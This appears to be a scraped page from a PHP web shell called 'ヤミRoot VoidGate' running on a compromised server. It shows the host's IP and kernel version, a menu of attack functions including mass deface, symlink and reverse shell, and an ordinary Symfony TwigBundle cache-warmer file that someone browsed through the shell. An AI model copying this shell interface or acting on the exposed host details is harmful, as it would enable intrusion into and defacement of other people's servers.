ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
symfony
/
twig-bundle
/
CacheWarmer
/
Viewing: TemplateCacheWarmer.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\TwigBundle\CacheWarmer; use Psr\Container\ContainerInterface; use Symfony\Component\HttpKernel\CacheWarmer\CacheWarmerInterface; use Symfony\Contracts\Service\ServiceSubscriberInterface; use Twig\Environment; use Twig\Error\Error; /** * Generates the Twig cache for all templates. * * @author Fabien Potencier <fabien@symfony.com> */ class TemplateCacheWarmer implements CacheWarmerInterface, ServiceSubscriberInterface { private $container; private $twig; private $iterator; public function __construct(ContainerInterface $container, iterable $iterator) { // As this cache warmer is optional, dependencies should be lazy-loaded, that's why a container should be injected. $this->container = $container; $this->iterator = $iterator; } /** * {@inheritdoc} * * @return string[] A list of template files to preload on PHP 7.4+ */ public function warmUp(string $cacheDir) { if (null === $this->twig) { $this->twig = $this->container->get('twig'); } $files = []; foreach ($this->iterator as $template) { try { $template = $this->twig->load($template); if (\is_callable([$template, 'unwrap'])) { $files[] = (new \ReflectionClass($template->unwrap()))->getFileName(); } } catch (Error $e) { /* * Problem during compilation, give up for this template (e.g. syntax errors). * Failing silently here allows to ignore templates that rely on functions that aren't available in * the current environment. For example, the WebProfilerBundle shouldn't be available in the prod * environment, but some templates that are never used in prod might rely on functions the bundle provides. * As we can't detect which templates are "really" important, we try to load all of them and ignore * errors. Error checks may be performed by calling the lint:twig command. */ } } return $files; } /** * {@inheritdoc} */ public function isOptional() { return true; } /** * {@inheritdoc} */ public static function getSubscribedServices() { return [ 'twig' => Environment::class, ]; } }
Coded With 💗 by
0x6ick